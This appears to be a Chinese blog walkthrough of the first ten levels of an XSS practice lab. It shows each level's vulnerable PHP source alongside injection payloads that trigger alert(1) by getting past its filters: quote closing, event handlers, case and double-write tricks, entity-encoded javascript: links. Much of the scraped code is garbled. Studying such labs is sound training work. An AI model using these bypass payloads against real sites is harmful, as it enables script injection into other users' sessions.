• XSS挑战之旅1-10关



    前言

    漏洞介绍:XSS漏洞
    参考文章:XSS挑战之旅
    游戏规则:触发alert()弹窗,进入下一关


    第1关
    1. 进入第一关
      在这里插入图片描述

    2. 随便输入一下,观测输出,看源代码
      在这里插入图片描述

    3. 输入语句进行测试,触发弹窗,进入第二关
      在这里插入图片描述

    4. 源码

      DOCTYPE html><html>
      	<head>
      		<meta http-equiv="content-type" content="text/html;charset=utf-8">
      		<script>
      			window.alert = function()  //触发alert(),进入下一关
      			{     
      				confirm("完成的不错!");
      				 window.location.href="level2.php?keyword=test"; 
      			}
      		script>
      		<title>欢迎来到level1title>
      	head>
      	<body>
      		<h1 align=center>欢迎来到level1h1>
      			欢迎用户".$str.""; //直接对传入的参数进行输出,没有过滤
      			?>
      			<center><img src=level1.png>center>
      			payload的长度:".strlen($str)."";
      			?>
      	body>
      html>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
    5. 分析浏览器加载的结果

      	1 ------------------------------------------------
      	$str=<script>alert(1)script>
      	<h2 align=center>欢迎用户".$str."h2>
      	
      	2 ------------------------------------------------
      	<h2 align=center>欢迎用户<script>alert(1)script>h2>
      	
      	3 ------------------------------------------------
      	<h2 align=center>欢迎用户
      		<script>
      			alert(1) //触发alert()函数
      		script>
      	h2>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
    第2关
    1. 输入语句进行测试
      在这里插入图片描述

    2. 查看网页源代码
      在这里插入图片描述

    3. 补充:htmlspecialchars($str)
      在这里插入图片描述

    4. 分析浏览器加载的结果

      <input name=keyword  value="">     //这里的<script>alert(1)script>是字符串
      <input name=keyword  value="11111">"<script>alert(1)script>">   //闭合引号,这里的<script>alert(1)script>可以被浏览器加载
      ------------------------------------------------
      <input name=keyword  value="11111">
      "
      <script>
      	alert(1)
      script>
      ">
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    5. 进入下一关
      在这里插入图片描述

    6. 源代码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      .$str.'"> //闭合value值
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    第3关
    1. 输入语句进行测试
      在这里插入图片描述

    2. 测试,看效果修改
      在这里插入图片描述

    3. payload

      <input name=keyword  value='11111' onclick='alert(1)'>
      
      • 1

      在这里插入图片描述

    4. 下一关
      在这里插入图片描述

    5. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      ."
      //转义了再拼接进去
      "
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    第4关
    1. 输入语句进行测试
      在这里插入图片描述

    2. 继续测试11111' onclick='alert(1)
      在这里插入图片描述

    3. 测试11111" onclick="alert(1)
      在这里插入图片描述

    4. 下一关
      在这里插入图片描述

    5. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];
      	$str2=str_replace(">","",$str); //替换了< >
      	$str3=str_replace("<","",$str2);
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      .$str3.'">
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
    第5关
    1. 输入语句进行测试
      在这里插入图片描述

    2. 测试
      在这里插入图片描述

    3. 测试

      123">
      
      • 1

      在这里插入图片描述

    4. 浏览器加载效果 在这里插入图片描述

    5. 源码

       
      	ini_set("display_errors", 0);
      	$str = strtolower($_GET["keyword"]);  //不能用大写过滤
      	$str2=str_replace(",",$str); //过滤了script
      	$str3=str_replace("on","o_n",$str2);  //过滤了on
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      .$str3.'">
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
    第6关
    1. 大写绕过
      在这里插入图片描述

    2. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];
      	//过滤下面这些关键字,可以用大写绕过
      	$str2=str_replace(",",$str); 
      	$str3=str_replace("on","o_n",$str2);
      	$str4=str_replace("src","sr_c",$str3);
      	$str5=str_replace("data","da_ta",$str4);
      	$str6=str_replace("href","hr_ef",$str5);
      	//对< >转义了
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      .$str6.'">
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
    第7关
    1. 测试
      在这里插入图片描述

    2. 测试绕过
      在这里插入图片描述
      在这里插入图片描述

    3. 双写绕过在这里插入图片描述

    第8关
    1. 测试
      在这里插入图片描述

    2. 将script用实体编号绕过
      在这里插入图片描述

      <a href="javascript:alert(1)">友情链接a>
      html编码
      <a href="javascript:alert(1)">友情链接a>
      
      • 1
      • 2
      • 3
    3. 下一关
      在这里插入图片描述

    4. 源码

       
      	ini_set("display_errors", 0);
      	$str = strtolower($_GET["keyword"]);  //过滤大写
      	$str2=str_replace("script","scr_ipt",$str);  //过滤这些关键字
      	$str3=str_replace("on","o_n",$str2);
      	$str4=str_replace("src","sr_c",$str3);
      	$str5=str_replace("data","da_ta",$str4);
      	$str6=str_replace("href","hr_ef",$str5);
      	$str7=str_replace('"','"',$str6);  //过滤 "
      	echo '
      .htmlspecialchars($str).'"> //过滤< >
      '
      ; ?> <?php echo '

      .$str7.'">友情链接
      '
      ; //利用点,绕过上面的限制即可 ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
    第9关
    1. html的注释符号//

    2. 源码

       
      	ini_set("display_errors", 0);
      	$str = strtolower($_GET["keyword"]);
      	......
      	//和上一题一样
      	......
      ?>
      <?php
      	if(false===strpos($str7,'http://')) //如果str7没有http://则返回false
      	{
      	  echo '

      友情链接
      '
      ; } else { echo '

      .$str7.'">友情链接
      '
      ; } ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
    3. 测试
      在这里插入图片描述

    4. payload

      友情链接
      
      • 1

      在这里插入图片描述

    第10关
    1. 页面
      在这里插入图片描述

    2. 测试在这里插入图片描述

    3. 过滤了<>
      在这里插入图片描述

    4. 测试

      <input name="t_sort"  value="1111" onclick="alert(1)" type="hidden">
      
      • 1

      在这里插入图片描述

    5. payload

      <input name="t_sort"  value="1111" onclick="alert(1)" type="text" type="hidden">
      利用HTML语言的解析顺序,使得type="text"
      
      • 1
      • 2

      在这里插入图片描述

    6. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];  //传入参数
      	$str11 = $_GET["t_sort"];
      	$str22=str_replace(">","",$str11);  //过滤< >
      	$str33=str_replace("<","",$str22);
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
  • 相关阅读:
    激光切割教程(有线版)
    以沙箱的方式运行容器:安全容器gvisor
    Springboot中国古代史在线学习网站毕业设计源码260839
    【机器学习7】优化算法
    关于MySql中explain结果filtered的理解
    【U8+】用友U8+客户端登录账套的时候, 提示: 已成功与服务器建立连接,但是在登录过程中发生错误; 指定的网络名不再可用。
    Python(五)——运算符的使用
    npm——整理前端包管理工具(cnpm、yarn、pnpm)
    人口数据集:地级市常住人口与户籍人口、人口1%抽样调查数据两大维度指标数据
    基于Go语言的网盘开发(GloudDisk)
  • 原文地址:https://blog.csdn.net/weixin_52116519/article/details/127864598